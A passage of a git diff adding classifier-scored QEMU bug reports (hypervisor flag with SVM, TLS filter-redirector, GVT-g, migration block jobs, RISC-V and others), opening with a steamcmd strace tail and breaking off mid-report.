readlink("/proc/self/exe",0x00a45060,4095) = 37 +25 chdir("/home/steam/steamcmd") = 0 +25 gettid() = 25 +25 clock_gettime64(CLOCK_BOOTTIME,0x407fe92c) = 0 ({tv_sec=4668200,tv_nsec=87889751}) +25 clock_gettime64(CLOCK_BOOTTIME,0x407fe92c) = 0 ({tv_sec=4668200,tv_nsec=89062235}) +25 clock_gettime64(CLOCK_REALTIME_COARSE,0x407fea1c) = 0 ({tv_sec=1720063413,tv_nsec=948892664}) +25 openat(AT_FDCWD,"/home/steam/steamcmd/steam.cfg",O_RDONLY|O_LARGEFILE) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/home/steam/steamcmd/Steam.cfg",O_RDONLY|O_LARGEFILE) = -1 errno=2 (No such file or directory) +25 readlink("/root",0x407fb530,1023) = -1 errno=22 (Invalid argument) +25 readlink("/root/.steam",0x407fb530,1023) = -1 errno=2 (No such file or directory) +25 stat64("/root/.steam/steam",0x407fb8f0) = -1 errno=2 (No such file or directory) +25 mkdir("/root/Steam/logs",0777) = -1 errno=17 (File exists) +25 stat64("/root/Steam/logs/bootstrap_log.txt",0x407fd8f0) = 0 +25 lstat64("/root/Steam/logs",0x407fd850) = 0 +25 openat(AT_FDCWD,"/root/Steam/logs/bootstrap_log.txt",O_RDWR|O_LARGEFILE) = 3 +25 flock(3,5,10725408,2,10725408,1082120376) = 0 +25 fcntl64(3,F_SETFD,1) = 0 +25 _llseek(3,0,0,0x407fd8a0,SEEK_END) = 0 +25 write(3,0x9022f3,4) = 4 +25 clock_gettime64(CLOCK_REALTIME_COARSE,0x407fd90c) = 0 ({tv_sec=1720063413,tv_nsec=960892708}) +25 openat(AT_FDCWD,"/etc/localtime",O_RDONLY|O_CLOEXEC) = 4 +25 statx(4,"",AT_EMPTY_PATH|AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407fd65c) = 0 +25 statx(4,"",AT_EMPTY_PATH|AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407fd52c) = 0 +25 read(4,0xaa28b0,4096) = 114 +25 _llseek(4,4294967295,4294967236,0x407fd630,SEEK_CUR) = 0 +25 read(4,0xaa28b0,4096) = 60 +25 close(4) = 0 +25 write(3,0xa90d60,68) = 68 +25 clock_gettime64(CLOCK_REALTIME_COARSE,0x407fd90c) = 0 ({tv_sec=1720063413,tv_nsec=976892768}) +25 write(3,0xa922e0,276) = 276 +25 getcwd(0xaa28b0,4096) = 21 +25 stat64("/home/steam/steamcmd/package/beta",0x407fb8e0) = -1 errno=2 (No such file or directory) +25 openat(AT_FDCWD,"/home/steam/steamcmd/package/steam_cmd_linux.manifest",O_RDONLY|O_LARGEFILE) = 4 +25 flock(4,5,10725408,0,10725408,1082116024) = 0 +25 fcntl64(4,F_SETFD,1) = 0 +25 fstat64(4,0x407fc890) = 0 +25 read(4,0xab1e20,1838) = 1838 +25 close(4) = 0 +25 mmap2(NULL,266240,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x40ffa000 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 gettid() = 25 +25 munmap(0x40ffa000,266240) = 0 +25 openat(AT_FDCWD,"/home/steam/steamcmd/linux32/crashhandler.so",O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 4 +25 read(4,0x407fc180,512) = 512 +25 statx(4,"",AT_EMPTY_PATH|AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407fbeb8) = 0 +25 mmap2(NULL,661476,PROT_READ,MAP_PRIVATE|MAP_DENYWRITE,4,0) = 0x40ffa000 +25 mmap2(0x41002000,442368,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,4,0x8) = 0x41002000 +25 mmap2(0x4106e000,147456,PROT_READ,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,4,0x74) = 0x4106e000 +25 mmap2(0x41092000,16384,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,4,0x97) = 0x41092000 +25 mmap2(0x41096000,22500,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0) = 0x41096000 +25 close(4) = 0 +25 mprotect(0x41092000,12288,PROT_READ) = 0 +25 clock_gettime64(CLOCK_REALTIME,0x407fc2ec) = 0 ({tv_sec=1720063414,tv_nsec=1788981}) +25 clock_gettime64(CLOCK_BOOTTIME,0x407fc31c) = 0 ({tv_sec=4668200,tv_nsec=139217662}) +25 gettid() = 25 +25 futex(0x41099f4c,FUTEX_PRIVATE_FLAG|FUTEX_WAKE,2147483647,NULL,0x40b6eff4,1085730804) = 0 +25 futex(0x41099f54,FUTEX_PRIVATE_FLAG|FUTEX_WAKE,2147483647,NULL,0x40b6eff4,1085730804) = 0 +25 clock_gettime64(CLOCK_BOOTTIME,0x407fc2ec) = 0 ({tv_sec=4668200,tv_nsec=147181452}) +25 getpid() = 25 +25 openat(AT_FDCWD,"/sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq",O_RDONLY) = -1 errno=2 (No such file or directory) +25 clock_gettime64(CLOCK_REALTIME,0x407fc05c) = 0 ({tv_sec=1720063414,tv_nsec=15478752}) +25 clock_nanosleep(CLOCK_REALTIME,0,{tv_sec = 0,tv_nsec = 5000000},{tv_sec = 7,tv_nsec = 1593058279}) = 0 +25 clock_gettime64(CLOCK_REALTIME,0x407fc05c) = 0 ({tv_sec=1720063414,tv_nsec=21040173}) +25 clock_gettime64(CLOCK_REALTIME,0x407fc05c) = 0 ({tv_sec=1720063414,tv_nsec=21460575}) +25 clock_nanosleep(CLOCK_REALTIME,0,{tv_sec = 0,tv_nsec = 5000000},{tv_sec = 7,tv_nsec = 1593058279}) = 0 +25 clock_gettime64(CLOCK_REALTIME,0x407fc05c) = 0 ({tv_sec=1720063414,tv_nsec=26631394}) +25 openat(AT_FDCWD,"/proc/cpuinfo",O_RDONLY) = 4 +25 statx(4,"",AT_EMPTY_PATH|AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407fb8fc) = 0 +25 read(4,0xaa2ff0,1024) = 968 +25 read(4,0xaa2ff0,1024) = 0 +25 close(4) = 0 +25 gettid() = 25 +25 write(2,0x407fb120,57)Unable to determine CPU Frequency. Try defining CPU_MHZ. + = 57 +25 write(2,0x40b6fd47,1) + = 1 +25 statx(1,"",AT_EMPTY_PATH|AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407fa8fc) = 0 +25 write(1,0xaa2ff0,57)Unable to determine CPU Frequency. Try defining CPU_MHZ. + = 57 +25 openat(AT_FDCWD,"/proc/cpuinfo",O_RDONLY) = 4 +25 statx(4,"",AT_EMPTY_PATH|AT_NO_AUTOMOUNT|AT_STATX_SYNC_AS_STAT,STATX_BASIC_STATS,0x407fc1cc) = 0 +25 read(4,0xaa3400,1024) = 968 +25 read(4,0xaa3400,1024) = 0 +25 close(4) = 0 +25 write(1,0xaa2ff0,52)Redirecting stderr to '/root/Steam/logs/stderr.txt' + = 52 +25 openat(AT_FDCWD,"/root/Steam/logs/stderr.txt",O_WRONLY|O_CREAT|O_LARGEFILE|O_TRUNC,0666) = 4 +25 dup3(4,2,0)Logging directory: '/root/Steam/logs' +``` diff --git a/results/classifier/108/graphic/2429 b/results/classifier/108/graphic/2429 new file mode 100644 index 000000000..0f1bf2a5f --- /dev/null +++ b/results/classifier/108/graphic/2429 @@ -0,0 +1,44 @@ +graphic: 0.964 +other: 0.872 +permissions: 0.868 +socket: 0.851 +performance: 0.848 +PID: 0.845 +device: 0.826 +files: 0.807 +vnc: 0.700 +debug: 0.677 +network: 0.663 +semantic: 0.604 +KVM: 0.587 +boot: 0.537 + +Enabling SVM in guest forcefully enables hypervisor flag and doesn't respect hv-vendor-id +Description of problem: +When the SVM cpu feature is enabled in a guest; despite both the hypervisor feature being disabled and hv-vendor-id being set to AuthenticAMD, the guest hypervisor is detected as "Microsoft Hv" and the hypervisor flag is present. Whereas when the SVM cpu feature is disabled but everything else is still the same, the vendor-id is detected as "AuthenticAMD" and the hypervisor flag isn't present, which is exactly as it was intended by the parameters. Therefore, from what I can tell, enabling the SVM cpu feature (which is necessary for nested-virtualization on AMD CPUs) renders hypervisor=off and hv-vendor-id useless by forcefully enabling the hypervisor flag and setting the hypervisor's vendor-id to the default "Microsoft Hv", which normally shouldn't happen. +Steps to reproduce: +1. Run a Windows 11 virtual machine with the given CLI arguments including svm=on +2. I'm not sure how to check the hypervisor vendor from Command Prompt or PowerShell in Windows, so I used [Paranoid Fish](https://github.com/a0rtega/pafish) to check the hypervisor vendor, it's a utility for checking various different VM detection flags in a guest. +3. You should see "Hypervisor: Microsoft Hv" +Additional information: +Screenshot of Paranoid Fish with SVM enabled: + +{width="291" height="86"} ("Hypervisor:" is visible, meaning "-hypervisor" was ignored) + +{width="369" height="13"} (traced means the hypervisor bit is present, meaning `hypervisor=off` was ignored) + +And with SVM disabled: + + ("Hypervisor:" isn't visible, as intended) + +{width="339" height="12"} (OK means the hypervisor bit isn't present, as intended) + +# Solution + +I finally found a solution to this. And it looks like the problem might not even have been on QEMU's side from the beginning. First disabling Virtualization Based Security (Memory Integrity) from settings and then running the following command: `bcdedit /set hypervisorlaunchtype off` in an admin PowerShell fixes the issue and now with SVM enabled, regardless of whether Hyper-V is enabled or not, I see the following CPU information in Paranoid Fish (identical to when SVM was disabled and everything is as intended, and I can still see that virtualization is enabled in task manager): + + + + + +It looks like for some odd reason Windows enables the hypervisor bit on the CPU and sets the hypervisor's vendor-id to "Microsoft Hv" when SVM is enabled in the VM. No clue as to why it does that, but disabling Virtualization Based Security (Memory Integrity) and running the command I mentioned earlier in an admin PowerShell fixes the problem regardless. diff --git a/results/classifier/108/graphic/2433 b/results/classifier/108/graphic/2433 new file mode 100644 index 000000000..9bcccc1bd --- /dev/null +++ b/results/classifier/108/graphic/2433 @@ -0,0 +1,239 @@ +graphic: 0.926 +debug: 0.926 +semantic: 0.922 +other: 0.914 +vnc: 0.907 +performance: 0.900 +permissions: 0.892 +device: 0.886 +files: 0.871 +network: 0.867 +boot: 0.849 +KVM: 0.843 +PID: 0.833 +socket: 0.789 + +[TestCase] -object filter-redirector completely ignores linked bidirectional chardev, so encryption for netdev is broken +Description of problem: +If I form a wittingly broken network topology using -object filter-redirector and an encrypting bi-directional chardev linked to redirected traffic, the topology continues to function when it must not. See Fig.2. + +By "continues to function", I mean the two guest Windows XP from Fig.2 topology are able to see each other, join the same "MSHOME" workgroup, make shared folders which are mutually seen from each other and even send files to each other's shared folder! + +\ +Why do I consider Fig.2 a broken topology? It includes only one encrypting chardev, whereas a normal encrypted network topology must contain one encrypting and one decrypting chardev.\ +To form Fig.2 topology, follow "Steps to reproduce" section.\ +\ +At the same time, -object filter-redirector works perfectly if only uni-directional chardevs are used, see Fig.1 with corresponding commands to launch guest#1 qemu and guest#2 qemu. All network activities from previous paragraphs seem to function correctly both in Fig.1 and in Fig.2 + +If I put tls-creds=tls0, inside any "-chardev socket" switch in Fig.1 to make traffic encrypted without further decryption, local network between guests becomes broken (0 packets received), which is normal and expected behaviour.\ +\ +The end goal is to have netdev traffic encrypted. If anyone knows a workaround to encrypt netdev traffic on Windows hosts without installing crypto libs/drivers besides GnuTLS, please describe it in comments. + +*** Please note that some old broswers show Fig.1 and Fig.2 a little bit screwed. If so, please copy their source to Mousepad or Notepad - they must show topology correctly. And disable "Word Wrap" mode in your text editor, of course. *** + +``` + *********************** Fig. 1. Perfectly working network topology with uni-directional chardevs ************************* + + NOTE: rx:receive packets sent to the netdev + tx:receive packets sent by the netdev + First qemu Second qemu ++--------------------------------------------------------------------------------------------------+ +----------------------------------------+ +| | | | +| +----------------------------------------------------------------------------------------+ | | +------------------------------+ | +| | Guest Windows XP #1: | | | | Guest Windows XP #2: | | +| | | | | | | | +| | 169.254.144.98 IP, | | | | 169.254.144.99 IP, | | +| | 255.255.0.0 Net mask, | | | | 255.255.0.0 Net mask, | | +| | Gateway empty, | | | | Gateway empty, | | +| | DNS server empty, | | | | DNS server empty, | | +| | WINS server empty, | | | | WINS server empty, | | +| | DHCP off | | | | DHCP off | | +| +----------------------------------------------------------------------------------------+ | | +------------------------------+ | +| ^ | | | ^ | | +| | all | | | | | | +| | V | | | | | +| +--------------+ | | | | | +| | | | | | | | +| indev | filter | outdev | | | | | +| +-----> redirector >-------+ | | | | | +| | | | | | | | | | +| | | queue=all | | | | | | | +| | +--------------+ | | | | | | +| | | | | | | | +| +------------+ +------------+ | | | | | +| | | | | | | | +| +------------------+ +------------------+ | | +-------------------+ +------------------+ | | | | | +| | :9001 | | :9001 | | | | :9002 | | :9002 | | | | | | +| | uni-directional | | uni-directional | | | | uni-directional | | uni-directional | | | | all | | +| +-> chardev |->| chardev >-+ +-> chardev |->| chardev >-+ | | | | | +| | | | | | | | | | | | | | | | +| | | id=tx_in | |id=tx_out_to_guest| |id=rx_in_from_guest| | id=rx_out | | | | | | | +| | | server=on | | | | | | server=on | | | | | | | +| | +------------------+ +------------------+ +-------------------+ +------------------+ | | | | | | +| | | | | | | | +| | | | | | | | +| | +----------------+ +----------------+ | | | | | | +| | | | | | | | | | | | +| | | filter | | filter | | | | | | | +| +-----------------------< redirector | | redirector <------------------------+ | | | | | +| outdev | | | | indev | | | | | +| | queue=tx | | queue=rx | | | | | | +| +--------+-------+ +--------+-------+ | | | | | +| | | | | | | | +| | | | | | V | +| +--------------------------------^---------------------------V-----------------------------+ | | +--------------------------------+ | +| |==========================================================================================|------------->|================================| | +| | | | | | | | | | +| | netdev | mac=52:54:00:12:34:56 |7001:: ::7001| netdev | mac=52:54:00:12:34:57 | | +| | | | | | | | | | +| | | |<-------------| | | | +| +------------------------------------------------------------------------------------------+ | | +--------------------------------+ | +| | | | ++--------------------------------------------------------------------------------------------------+ +----------------------------------------+ + +Command to run Guest Windows XP #1 from Fig.1: + qemu-system-i386.exe \ + -accel tcg \ + -m 256M \ + -cpu Westmere \ + -hda d:\xp1.qcow2 \ + -usb -device usb-tablet \ + -netdev socket,id=net0,listen=localhost:7001 \ + -device rtl8139,netdev=net0,mac=52:54:00:12:34:56 \ + -chardev socket,id=tx_in,host=127.0.0.1,port=9001,server=on,wait=off \ + -chardev socket,id=tx_out_to_guest,host=127.0.0.1,port=9001 \ + -chardev socket,id=rx_out,host=127.0.0.1,port=9002,server=on,wait=off \ + -chardev socket,id=rx_in_from_guest,host=127.0.0.1,port=9002 \ + -object filter-redirector,netdev=net0,queue=tx,outdev=tx_in,id=tx1 \ + -object filter-redirector,netdev=net0,queue=rx,indev=rx_out,id=rx1 \ + -object filter-redirector,netdev=net0,queue=all,outdev=rx_in_from_guest,indev=tx_out_to_guest,id=inner_redirector + +Command to run Guest Windows XP #2 from Fig.1: + qemu-system-i386.exe + -accel tcg \ + -m 256M \ + -cpu Westmere \ + -hda d:\xp2.qcow2 \ + -usb -device usb-tablet \ + -netdev socket,id=net1,connect=localhost:7001 \ + -device rtl8139,netdev=net1,mac=52:54:00:12:34:57 + + + *********************** Fig. 2. Erroneously working network topology, despite encrypting bi-directional chardev ************************* + + NOTE: queue=rx:receive packets sent to the netdev + queue=tx:receive packets sent by the netdev + queue=all:receive packets sent by and to the netdev (both directions) + + First qemu Second qemu ++--------------------------------------------------------------------------------------------------+ +----------------------------------------+ +| | | | +| +----------------------------------------------------------------------------------------+ | | +------------------------------+ | +| | Guest Windows XP #1: | | | | Guest Windows XP #2: | | +| | | | | | | | +| | 169.254.144.98 IP, | | | | 169.254.144.99 IP, | | +| | 255.255.0.0 Net mask, | | | | 255.255.0.0 Net mask, | | +| | Gateway empty, | | | | Gateway empty, | | +| | DNS server empty, | | | | DNS server empty, | | +| | WINS server empty, | | | | WINS server empty, | | +| | DHCP off | | | | DHCP off | | +| +----------------------------------------------------------------------------------------+ | | +------------------------------+ | +| ^ | | | ^ | | +| | all | | | | | | +| | V | | | | | +| +-------------------+ | | | | | +| | | | | | | | +| +------>| filter | | | | | | +| | | redirector | | | | | | +| | +--<| | | | | | | +| | | | queue=all | | | | | | +| | | |id=inner_redirector| | | | | | +| | | +-----------V-------+ | | | | | +| | | | indev | | | | | +| | | | | | | | | +| | | | | | | | | +| | | +----------V-------+ +-----------------------+ | | | | | +| | | | :9001 | | | | | | | | +| | | | bi-directional | | -object tls-creds-psk | | | | | | +| | | |encrypting chardev| | | | | | | | +| | | | |---->| | | | | | | +| | | | tls-creds=tls0 | | id=tls0 | | | | | | +| | | | id=inner_chardev | | endpoint=server | | | | | | +| | | | server=on | | | | | | | | +| | | +------------------+ +-----------------------+ | | | | | +| | | | | | | | +| | | | | | | | +| ^ V | | | V | +| +------------------------------------------------------------------------------------------+ | | +--------------------------------+ | +| |==========================================================================================|------------->|================================| | +| | | | | | | | | | +| | netdev | mac=52:54:00:12:34:56 |7001:: ::7001| netdev | mac=52:54:00:12:34:57 | | +| | | | | | | | | | +| | | |<-------------| | | | +| +------------------------------------------------------------------------------------------+ | | +--------------------------------+ | +| | | | ++--------------------------------------------------------------------------------------------------+ +----------------------------------------+ +``` +Steps to reproduce: +1. Download official GnuTLS .zip for windows from https://www.gnutls.org/download.html and extract it. +2. Download and install official QEMU 9.0 from https://qemu.weilnetz.de/w64/qemu-w64-setup-20240423.exe +3. Open command prompt, navigate to the folder with psktool.exe from Step 1. +4. Run this command: "psktool -u qemu_user -p keys.psk" +5. Run first guest Windows XP with the command described in "QEMU command line" section above, replacing "dir=C:\\Downloads" with path to keys.psk, like this: "dir=C:\\path_to_keys_dot_psk" (without filename itself) +6. Run second guest Windows XP with the following command: `qemu-system-i386.exe -accel tcg -m 256M -cpu Westmere -hda d:\\xp2.qcow2 -usb -device usb-tablet -netdev socket,id=net1,connect=localhost:7001 -device rtl8139,netdev=net1,mac=52:54:00:12:34:57` +Additional information: +Yes, I know Qemu on Linux hosts is able to encrypt netdev traffic with the aid of `-netdev vhost-user,id=net0,chardev=chr0`\ +But `-netdev vhost-user,id=net0,chardev=chr0` is not officially supported by Qemu on Windows hosts.\ +\ +If I run this command in one command prompt instance:\ +`qemu-system-i386.exe -accel tcg -m 256M -object tls-creds-psk,id=tls0,endpoint=server,dir=C:\Downloads -chardev socket,id=chr0,port=7001,host=127.0.0.1,tls-creds=tls0,server=on -netdev vhost-user,id=net0,chardev=chr0 -device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56`\ +\ +And this one in another instance\ +`gnutls-cli.exe --priority=NORMAL -p 7001 --pskusername=pskusername_from_keys_psk_file --pskkey=pskkeyhash_from_keys_psk_file 127.0.0.1`\ +\ +I see this:\ +`qemu-system-i386.exe: -netdev vhost-user,id=net0,chardev=chr0: network backend 'vhost-user' is not compiled into this binary`\ +\ +Testcase: + +<details> + +static void test_redirector_incomplete_bidirectional_topology_connectionError(void)\ +{\ +//prepare keys.psk\ +FILE \*fileAddress;\ +fileAddress = fopen("/home/keys.psk", "w");\ +char content\[50\] = "deadbeefname:deadbeefkey";\ +int i;\ +int len = strlen(content);\ +\ +if (fileAddress != NULL) {\ +for (i = 0; i \< len; i++) {\ +fputc (content\[i\], fileAddress);\ +}\ +fclose(fileAddress); \ +}\ +else {\ +return -1;\ +}\ +\ +\ +QTestState \*qts0;\ +char \*expect;\ +\ +qts0 = qtest_initf("-netdev socket,id=net0,listen=localhost:7001 "\ +"-device rtl8139,netdev=net0,mac=52:54:00:12:34:56 "\ +"-object filter-redirector,netdev=net0,queue=all,indev=inner_chardev,id=inner_redirector"\ +"-chardev socket,id=inner_chardev,host=127.0.0.1,port=9001,tls-creds=tls0,server=on,wait=off"\ +"-object tls-creds-psk,id=tls0,endpoint=server,dir=/home/");\ +\ +expect = g_strdup_printf("st0: index=0,type=socket,connection error\\r\\n");\ +\ +EXPECT_STATE(qts0, expect, 0);\ +\ +g_free(expect);\ +\ +qtest_quit(qts0);\ +} + +</details> diff --git a/results/classifier/108/graphic/2437 b/results/classifier/108/graphic/2437 new file mode 100644 index 000000000..2d5545134 --- /dev/null +++ b/results/classifier/108/graphic/2437 @@ -0,0 +1,52 @@ +graphic: 0.989 +device: 0.968 +other: 0.960 +performance: 0.889 +PID: 0.886 +network: 0.874 +debug: 0.777 +semantic: 0.772 +socket: 0.768 +boot: 0.668 +permissions: 0.653 +files: 0.652 +vnc: 0.582 +KVM: 0.568 + +qm terminal VMID return "Inappropriate ioctl for device" when spawned by an another process +Description of problem: +as i dont want to mess with vnc i want to use qm terminal to interact with my vms and it doesnt work im currently using nodejs as a test heres the code if anybody wanna try it +```js +import { spawn } from "child_process"; +var child = spawn('qm', ["terminal", "100"]); + +child.stdout.setEncoding('utf8'); +child.stdin.setDefaultEncoding("utf8"); +child.stdout.on('data', function (data) { + console.log('stdout: ' + data.trim()); +}); + +child.stderr.setEncoding('utf8'); +child.stderr.on('data', function (data) { + console.log('stderr: ' + data.trim()); +}); + +child.on('close', function (code) { + console.log('closing code: ' + code); +}); + +setInterval(() => { + child.stdin.write("\n"); +}, 5000); +``` +its just spawning qm terminal and sending return every 5 seconds + +it seems to start but crash + +"Inappropriate ioctl for device" + +{width=478 height=48} + +maybe its not the place to put that but i have no clue so here am i + +At least i tryed spawning something else my code is working diff --git a/results/classifier/108/graphic/2450 b/results/classifier/108/graphic/2450 new file mode 100644 index 000000000..cce9673ef --- /dev/null +++ b/results/classifier/108/graphic/2450 @@ -0,0 +1,32 @@ +graphic: 0.962 +device: 0.941 +files: 0.792 +PID: 0.693 +semantic: 0.674 +permissions: 0.645 +performance: 0.630 +vnc: 0.610 +boot: 0.601 +socket: 0.591 +debug: 0.576 +network: 0.392 +other: 0.263 +KVM: 0.255 + +Intel GVT-g does not produce any output. +Description of problem: +I'm unable to see anything from screen: +{width=1201 height=956} + +By enabling VGA, I'm able to see the virtual monitor is presented in the guest OS: +{width=977 height=694} + +however it still cannot produce any output: + +{width=977 height=694} +Steps to reproduce: +1. echo "29d65a71-b9eb-45b2-aaaf-49e96f8cf753"> /sys/devices/pci0000:00/*/mdev_supported_types/i915-GVTg_V5_4/create +2. Download the romfile +3. Run the machine +Additional information: +CPU: i7-10700 diff --git a/results/classifier/108/graphic/2453 b/results/classifier/108/graphic/2453 new file mode 100644 index 000000000..dcd993a52 --- /dev/null +++ b/results/classifier/108/graphic/2453 @@ -0,0 +1,24 @@ +graphic: 0.964 +device: 0.917 +vnc: 0.894 +permissions: 0.844 +boot: 0.840 +PID: 0.824 +files: 0.773 +network: 0.771 +socket: 0.749 +semantic: 0.740 +performance: 0.713 +other: 0.680 +debug: 0.639 +KVM: 0.082 + +qemu-system-rx aborts when trying to run the u-boot binary +Description of problem: +I tried to run the tests/avocado/machine_rx_gdbsim.py:RxGdbSimMachine.test_uboot test (which is not run by default since it is marked as flaky), but seems like QEMU now always aborts when trying to run with the u-boot bios. +Steps to reproduce: +1. wget https://acc.dl.osdn.jp/users/23/23888/u-boot.bin.gz +2. gunzip u-boot.bin.gz +3. qemu-system-rx -nographic -M gdbsim-r5f562n8 -bios u-boot.bin +Additional information: +Aborts with: ``qemu-system-rx: ../../devel/qemu/accel/tcg/translator.c:286: translator_ld: Assertion `((base ^ pc) & TARGET_PAGE_MASK) == 0' failed.`` diff --git a/results/classifier/108/graphic/2455 b/results/classifier/108/graphic/2455 new file mode 100644 index 000000000..442e4d38d --- /dev/null +++ b/results/classifier/108/graphic/2455 @@ -0,0 +1,23 @@ +graphic: 0.952 +device: 0.926 +performance: 0.781 +debug: 0.741 +network: 0.715 +semantic: 0.566 +PID: 0.353 +files: 0.348 +socket: 0.334 +boot: 0.161 +KVM: 0.154 +vnc: 0.125 +permissions: 0.047 +other: 0.042 + +sdhci: assertion in sdhci_read_dataport() +Description of problem: +The following log reveals it: + +``` +qemu-system-x86_64: qemu/hw/sd/sdhci.c:476: uint32_t sdhci_read_dataport(SDHCIState *, unsigned int): Assertion `s->data_count < s->buf_maxsz' failed. +Aborted (core dumped) +``` diff --git a/results/classifier/108/graphic/2482 b/results/classifier/108/graphic/2482 new file mode 100644 index 000000000..8a879dd00 --- /dev/null +++ b/results/classifier/108/graphic/2482 @@ -0,0 +1,151 @@ +graphic: 0.960 +KVM: 0.958 +semantic: 0.952 +vnc: 0.951 +performance: 0.944 +debug: 0.943 +device: 0.933 +PID: 0.932 +permissions: 0.929 +other: 0.928 +files: 0.876 +network: 0.865 +socket: 0.848 +boot: 0.823 + +qemu-system-x86_64: Live Migration fails with BLOCK_JOB_ERROR +Description of problem: +After disk migration is completed and RAM migration is being performed, migration status switches to 'pre-switchover'. +In the 'pre-switchover' migration state, block jobs status is still set to 'ready' instead of 'running' +on queried for block job status when 'offset' and 'length' diverged. Thus, It results in BLOCK_JOB_ERROR. +Steps to reproduce: +On source host +1. Add disk(s) that needed to be migrated by issuing 'blockdev-add' QMP command. +2. start blockdev-mirror operations to perform disk(s) transfer by issuing QMP command +3. start RAM migration. (send HMP commands - listed below +4. Migration status changed to 'pre-switchover'. While in 'pre-switchover', check for disk activity + +While RAM migration is happening, Migration status is changed to 'pre-switchover' +and observe that block jobs 'offset' and 'length' diverged. But, block job status is still set to 'ready' instead of 'running'. + +On destination host +1. Launch the VM in listening mode (-incoming) for migrations +2. start NBD server +3. add disks to NBD server. +4. set migration parameters by sending HMP commands +Additional information: +# On SOURCE Host, start all blockdev-add operations +# Issue QMP commands (blockdev-add) for all block devices ("drive-scsi-disk-0" and "drive-scsi-disk-1") of VM + +``` + { + "execute" => "blockdev-add", + "arguments" => { + "driver" => "raw", + "node-name" => "node_drive-scsi-disk-0", + "auto-read-only" => false, + "read-only" => false, + "file" => { + "driver" => "nbd", + "export" => "drive-scsi-disk-0", + "server" => { + "type" => "inet", + "host" => "2600:3c0f:17:14::21", + "port" => "37552", + }, + "tls-creds" => "tlscreds0" + } + } + } +``` + + { + "execute" => "blockdev-add", + "arguments" => { + "driver" => "raw", + "node-name" => "node_drive-scsi-disk-1", + "auto-read-only" => false, + "read-only" => false, + "file" => { + "driver" => "nbd", + "export" => "drive-scsi-disk-1", + "server" => { + "type" => "inet", + "host" => "2600:3c0f:17:14::21", + "port" => "37552", + }, + "tls-creds" => "tlscreds0" + } + } + } + +# On SOURCE Host, start all blockdev-mirror operations to start disk transfer +# i.e Issue QMP commands (blockdev-mirror) for each of those block devices ("drive-scsi-disk-0" and "drive-scsi-disk-1") + +``` + { + "execute" => "blockdev-mirror", + "arguments" => { + "device" => "drive-scsi-disk0", + "target" => "node_drive-scsi-disk-0", + "speed" => 100000000, + "sync" => "full", + } + } +``` + +``` + { + "execute" => "blockdev-mirror", + "arguments" => { + "device" => "drive-scsi-disk1", + "target" => "node_drive-scsi-disk-1", + "speed" => 100000000, + "sync" => "full", + } + } +``` + +# NBD server configuration on destination host by issuing QMP command +# Start NBD server +``` + { + "execute" => "nbd-server-start", + "arguments" => { + "addr" => { + "type" => "inet", + "data" => { + "host" => "2600:3c0f:17:14::21", + "port" => "37552" + } + }, + "tls-creds" => "tlscreds0" + } + } +``` + +# On DESTINATION Host +# Register incoming disks(2) with NBD server by issuing QMP commands to VM on the destination host +# Disk# 1 +``` + { + "execute" => "nbd-server-add", + "arguments" => { + "device" => "drive-scsi-disk0", + "writable" => true + } + } +``` +# Disk# 2 +``` + { + "execute" => "nbd-server-add", + "arguments" => { + "device" => "drive-scsi-disk1", + "writable" => true + } + } +``` + +# Wait for disks to finish the bulk of the data migration. +# diff --git a/results/classifier/108/graphic/2486 b/results/classifier/108/graphic/2486 new file mode 100644 index 000000000..45d092d18 --- /dev/null +++ b/results/classifier/108/graphic/2486 @@ -0,0 +1,27 @@ +graphic: 0.928 +device: 0.758 +semantic: 0.692 +debug: 0.604 +vnc: 0.583 +performance: 0.541 +PID: 0.507 +network: 0.457 +permissions: 0.352 +boot: 0.349 +socket: 0.332 +other: 0.304 +files: 0.206 +KVM: 0.061 + +RISC-V Regression: QEMU_CPU=f=false,zfinx=true gives misleading error message +Description of problem: +The f extension looks like it should be toggle-able using qemu_cpu since it doesn't throw error messages when specified. +Disabling the extension using f=false does not actually disable it as shown by the zfinx error message. +Eg. Unsupported extension is explicitly rejected +``` +> QEMU_CPU=rv64,j=false ./qemu-riscv64 test.out +qemu-riscv64: can't apply global rv64-riscv-cpu.j=false: Property 'rv64-riscv-cpu.j' not found +``` +Steps to reproduce: +1. Compile any riscv binary like: `int main() {}` +2. Execute using `QEMU_CPU=rv64,zfinx=true,f=false ./qemu-riscv64 test.out` diff --git a/results/classifier/108/graphic/2502 b/results/classifier/108/graphic/2502 new file mode 100644 index 000000000..fcb37da83 --- /dev/null +++ b/results/classifier/108/graphic/2502 @@ -0,0 +1,28 @@ +graphic: 0.984 +device: 0.899 +other: 0.854 +semantic: 0.828 +boot: 0.810 +performance: 0.563 +PID: 0.557 +debug: 0.513 +vnc: 0.391 +permissions: 0.303 +files: 0.297 +socket: 0.247 +network: 0.196 +KVM: 0.058 + +Old amd64 Ubuntu won't start +Description of problem: +While taking a trip down memory lane, I noticed that old Ubuntu amd64 live CDs won't boot in 